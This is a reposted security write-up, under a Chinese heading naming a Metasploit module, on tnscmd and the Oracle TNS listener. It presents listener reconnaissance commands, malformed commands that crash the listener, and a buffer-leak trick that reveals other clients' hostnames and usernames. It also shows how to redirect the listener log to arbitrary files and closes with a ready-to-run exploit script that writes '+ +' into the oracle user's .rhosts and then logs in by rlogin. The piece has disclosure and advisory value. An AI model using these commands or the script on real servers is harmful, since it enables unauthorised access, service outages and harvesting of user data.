Metasploit 的Oracle TNS 溢出模块 auxiliary/admin/oracle/tnscmd
从国外网站找的exploit资料:
Tnscmd
2001/05/09 05:29:09 ExpI. Intro
-
tnscmd can be used to speak, on a very simple level, with Oracle's TNS listener.
The TNS listener (aka tnslsnr) is the network interface between a database client and the database server. tnslsnr listens on port 1521/tcp, but the DBA can change this (I've seen listeners on port 1541/tcp as well.) fwiw, nmap-services lists these as ncube-lm and rds2, respectively.
The tnslnsr keeps a spartan log of activity -- spartan in that it doesn't log a whole lot of useful information. For instance, it does not log the IP address of TNS sessions.
If you initiate a TCP session to the tnslsnr port, you won't make much headway; it won't provide a banner and will probably disconnect if you type something. Don't worry; this is what tnscmd is for.
II. tnscmd
-
tnscmd is not even close to a full-blown Oracle client; it simply talks to the tnslsnr process. tnslsnr will respond to certain commands such as
ping
(an application-level no-op),version
(dumps version information about Oracle),status
(dumps status about the listener and database instances), andservices
(dumps info about the running services.) Commands are apparently case-insensitive.Let's say we've found the host oraclebox.example.com listening on port 1521. It might be running Oracle; how can we tell? the 'ping' command is a good place to start; tnscmd will issue a 'ping' command if given no command.
If we want to ping this host to see if it is actually running tnslsnr, we would type:
unix% tnscmd -h oraclebox.example.com -p 1521 sending (CONNECT_DATA=(COMMAND=ping)) to oraclebox.example.com:1521 writing 87 bytes reading .I......"..=(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(ALIAS=LISTENER))
Here we see three things:- the TNS command:
(CONNECT_DATA=(COMMAND=ping))
- the raw TNS packet sent to tnslsnr:
.W.......6.
[ etc ] - and the raw TNS reply packet from tnslsnr:
.I......"..=(DESCRIPTION=(
[etc]
- the TNS command:
III. Information gathering
-
OK, now we've established tnslsnr is running on this host. What else can we do? There are (at least) three commands that are useful for information gathering,
version
,status
andservices
:unix% tnscmd version -h oraclebox.example.com -p 1521 sending (CONNECT_DATA=(COMMAND=version)) to oraclebox.example.com:1521 writing 90 bytes reading .M.......6.........-............(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)). a........TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production..TNS.for.Solaris: .Version.8.1.6.0.0.-.Production..Unix.Domain.Socket.IPC.NT.Protocol.Adaptor.fo r.Solaris:.Version.8.1.6.0.0.-.Production..Oracle.Bequeath.NT.Protocol.Adapter .for.Solaris:.Version.8.1.6.0.0.-.Production..TCP/IP.NT.Protocol.Adapter.for.S olaris:.Version.8.1.6.0.0.-.Production,,.........@
This is pretty straightforward.version
reveals the version of Oracle (in this case, 8.1.6.0.0 for Solaris). Another command,status
is a bit more verbose:unix% tnscmd status -h oraclebox.example.com -p 1521 sending (CONNECT_DATA=(COMMAND=status)) to oraclebox.example.com:1521 writing 89 bytes reading .........6.........`.............j........(DESCRIPTION=(TMP=)(VSNNUM=135290880 )(ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Solaris:.Version.8. 1.6.0.0.-.Production)(START_DATE=01-SEP-2000.18:35:49)(SIDNUM=1)(LOGFILE=/u01/ app/oracle/product/8.1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/pro
[ snipped for brevity ]Wow, look at all that data. Kind of hard to read, but because it's all balanced within parens, we can break it up with the --indent option and make it purty:
unix% tnscmd status -h oraclebox.example.com -p 1521 --indent
We'll get something like:
DESCRIPTION= TMP= VSNNUM=135290880 ERR=0 ALIAS=LISTENER SECURITY=OFF VERSION=TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production START_DATE=01-SEP-2000.18:35:49 SIDNUM=1 LOGFILE=/u01/app/oracle/product/8.1.6/network/log/listener.log PRMFILE=/u01/app/oracle/product/8.1.6//network/admin/listener.ora TRACING=off UPTIME=2032269835 SNMP=OFF
NoteSECURITY=OFF
. I believe this indicates whether or not the DBA has assigned a password to the listener.Note
START_DATE
andUPTIME
. Not clear ifUPTIME
is the tnslsnr uptime or the host uptime.Note the path to
LOGFILE
andPRMFILE
. This can give you a good idea of the filesystem layout.Other strange oracle stuff:
ENDPOINT= HANDLER= STA=ready HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=0 REFUSED=0 HANDLER_ID=7044210BF3E5-01C8-E034-0800208A66F0 PRE=ttc SESSION=NS DESCRIPTION= ADDRESS= PROTOCOL=ipc KEY=EXTPROC ENDPOINT= HANDLER= STA=ready HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=0 REFUSED=0 HANDLER_ID=7044210BF3E6-01C8-E034-0800208A66F0 PRE=ttc SESSION=NS DESCRIPTION= ADDRESS= PROTOCOL=tcp HOST=oraclebox.example.com PORT=1521 ENDPOINT= HANDLER= STA=ready HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=0 REFUSED=0 HANDLER_ID=7044210BF3E7-01C8-E034-0800208A66F0 PRE=giop SESSION=RAW DESCRIPTION= ADDRESS= PROTOCOL=tcp HOST=oraclebox.example.com PORT=2481
.. unanswered question: what's running on port 2481?PROTOCOL_STACK= PRESENTATION=GIOP SESSION=RAW SERVICE= SERVICE_NAME=PLSExtProc INSTANCE= INSTANCE_NAME=PLSExtProc NUM=1 INSTANCE_CLASS=ORACLE NUMREL=1 SERVICE= SERVICE_NAME=pr01stage INSTANCE= INSTANCE_NAME=pr01stage NUM=1 INSTANCE_CLASS=ORACLE NUMREL=1 SERVICE= SERVICE_NAME=rcats INSTANCE= INSTANCE_NAME=rcats NUM=1 INSTANCE_CLASS=ORACLE NUMREL=1
[ ... ]The 'services' command outputs still more information:
unix% tnscmd services -h oraclebox.example.com -p 1521 --indent
[ ... ]SERVICE= SERVICE_NAME=PLSExtProc INSTANCE= INSTANCE_NAME=PLSExtProc NUM=1 INSTANCE_CLASS=ORACLE HANDLER= HANDLER_DISPLAY=DEDICATED.SERVER STA=ready HANDLER_INFO=LOCAL.SERVER HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=86 REFUSED=0 HANDLER_ID=7044210BF823-01C8-E034-0800208A66F0 HANDLER_NAME=DEDICATED ADDRESS= PROTOCOL=beq PROGRAM=/u01/app/oracle/product/8.1.6/bin/extproc ENVS='ORACLE_HOME=/u01/app/oracle/product/8.1.6,ORACLE_SID=PLSExtProc' ARGV0=extprocPLSExtProc ARGS=' LOCAL=NO ' NUMREL=1
PROGRAM
,ENVS
, andARGV0
are potentially interesting. If the tnslsnr was started out of an interactive shell,ENVS
will contain the user's environment.
IV. Break stuff
-
tnslsnr is vulnerable to remote denial-of-service attacks and potential security issues. According to Oracle, only versions 7.3.4, 8.0.6, and 8.1.6 are affected. I have verified vulnerabilities under 8.1.6 for Solaris.
IV.1 - DoS:
-
An unpassworded tnslsnr can also be shut down by sending it a 'stop' command. Obvious, eh?
"Bad" TNS packets can crash the listener, regardless of whether or not the DBA has set a password. Sending
tnscmd [badcommand] -h oraclebox.example.com
will SEGV the listener. badcommand can be any one of:
- trc_file trc_level use_plugandplay trc_directory snmp_visible log_file log_status log_directory
Recall the 'log_file' command and the LOGFILE variable returned by the 'status' command. This is the path to the tnslsnr log file. As you might imagine, this variable can be changed. If we send this TNS command (using the --rawcmd option to tnslsnr)
unix% tnscmd -h oraclebox.example.com -p 1521 --rawcmd "(DESCRIPTION=(CONNEC T_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE =LISTENER)(VERSION=1)(VALUE=/tmp/floboz)))"
.. then tnslsnr will open withO_APPEND
/tmp/floboz and start logging messages to it. This can be verified by the response packet:........"...(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(COMMAND=log_file)(LOG FILENAME=/tmp/floboz))
.. or byunix% tnscmd status -h oraclebox.example.com --indent | grep LOG
Since tnscmd runs as the oracle user, an attacker can write files anywhere the oracle user can. If an attacker knows the pathname to a database (can be deduced from the pathnames revealed by tnscmd), she can clobber the database.She might, however, chose a more subtle route: either by using finger or determining the oracle home directory by guesswork (/home/oracle? /u/oracle? /opt/oracle?), she can create a .rhosts or .forward file. While the tnslsnr doesn't log much, it *does* log bad commands; she can then send a command such as (note the embedded newlines in the quotes)
unix% tnscmd -h oraclebox.example.com --rawcmd "(CONNECT_DATA=(( + + "
.. tnslnsr will log something along the lines ofTNS-01153: Failed to process string: + + NL-00303: syntax error in NV string
into our log file / .rhosts.
IV.3: tns packet leakage
-
To the best of my knowledge, this bug remains unpatched in Oracle 8.1.7.
By lying about the size of the packet we're sending to the tnslsnr, we can get the tnslsnr to reveal the contents of previous packets. We can do this with the --cmdsize option. While any command will work, we use " " (space) just so we preserve the original buffer contents as much as possible.
unix% tnscmd --rawcmd " " -h oraclebox.example.com -p 1521 --cmdsize 40 Sending to oraclebox.example.com:1521 Faking command length to 40 bytes connect writing 84 bytes [(CONNECT_DATA=(COMMAND= ))] .T.......6.,...............:................4.............(CONNECT_DATA=(COMMA ND=.)) read ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT'))(ERROR=(CODE=3 03)(EMFI=1))))
.. that's odd, where did thatvices))CONNECT
come from? Hey, that looks familiar... it looks like theservices
command I just sent in the last example! But what's with theCONNECT
?CONNECT_DATA
comes at the beginning of the packet; maybe there's another command here?unix% tnscmd " " -h oraclebox.example.com -p 1521 --cmdsize 90
[ ... ]........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(SID=stage1 )(global_dbname=stage1.oraclebox.XX'))(ERROR=(CODE=303)(EMFI=1))))
Apparently tnslsnr doesn't clear the buffer before writing a packet into it, or maybe it doesn't properly zero-terminate a string. Whatever is going on inside can be used to our advantage to harvest more interesting information. Let's go whole-hog and try it a --cmdsize of 200:........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(E RROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=( SID=stage1)(global_dbname=stage1.oraclebox.XXXXXXX.example.com)(CID=(PROGRAM=C :\Program.Files\Quest.Software\TOAD\Toad.exe)(HOST=JAMESK-LT)(USER=JamesK))')) (ERROR=(CODE=303)(EMFI=1))))
(I added the XXX's to balance the packet :) Huh, a pathname, a hostname, and a username. No passwords, unfortunately -- SQL*net login is handled in a child process, IIRC -- but a username is a good place to start. On a busy server, this can potentially reveal lots of usernames. If the listener is passworded and the DBA connects, will the password be leaked? hmm.By playing with the --cmdsize argument, the rest of the "old" packet(s) will be revealed. Once you've gone past a certain point, though, you'll just get a TNS error (ERR=1153). It's also not too hard to write a program to find the optimal values & run it against a server for a few days ..
I have been able to verify that this works against Oracle for Solaris, but I have had reports that the Linux port does not exhibit this behaviour.
V. References:
- CVE entry
- Oracle security alerts
- ISS's advisory
- Oracle Control Utility Reference
- advisory sent to Oracle and CERT on 23 Oct 2000
- tnscmd home
VI. Thanks
- Konstantin Zemlyak <zart at mail.ru> pointed out that the VSSNUM in the PING reply was the Oracle version number (135290880 = 0x8106000)
VII. Notes
-
Commands intuited from 'strings `which tnslsnr`':
- investigate spawn command; how to list what commands can be spawned?
- ping - pings the listener
- debug - dumps debugging info to the listener log (/u01/app/oracle/product/8.1.6/network/log/listener.log)
- dispatch - ?
- establish - "TNS-12504: TNS:listener was not given the SID in CONNECT_DATA"
- reload - reloads config file
06-OCT-2000 23:37:03 * (CONNECT_DATA=(COMMAND=reload)) * reload * 0 06-OCT-2000 23:37:03 * service_register * pr01dev * 0
- services - dumps all sorts of chilly data
- save_config - writes config to a backup file. (can this be specified remotely? hrm)
- trace - needs a "trace level", unsure of the syntax here
- version - pretty output of the installed TNS listener version(s)
- stop - shuts the listener down (on purpose). if the DBA has set the database up properly, this should not work without a password.
0-day spl01t:
#!/bin/sh # # jwa@jammed.com 6 Oct 2000 # # point the logfile at $HOME/.rhosts ./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=/u01/home/oracle/.rhosts)))" -h oraclesvr2 # verify that it worked (this will dump the value of log_file) ./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=)(SERVICE=)))" -h oraclesvr2 # put arbitrary data into the logfile-- it will look something like this: # # 06-OCT-2000 18:14:46 * log_file * 0 # 06-OCT-2000 18:14:46 * log_file * 0 # 06-OCT-2000 18:14:47 * 1153 # TNS-01153: Failed to process string: # + + # # NL-00303: syntax error in NV string # ./tnscmd --rawcmd " + + " -h oraclesvr2 # # connect # rlogin -l oracle oraclesvr2
-
An unpassworded tnslsnr can also be shut down by sending it a 'stop' command. Obvious, eh?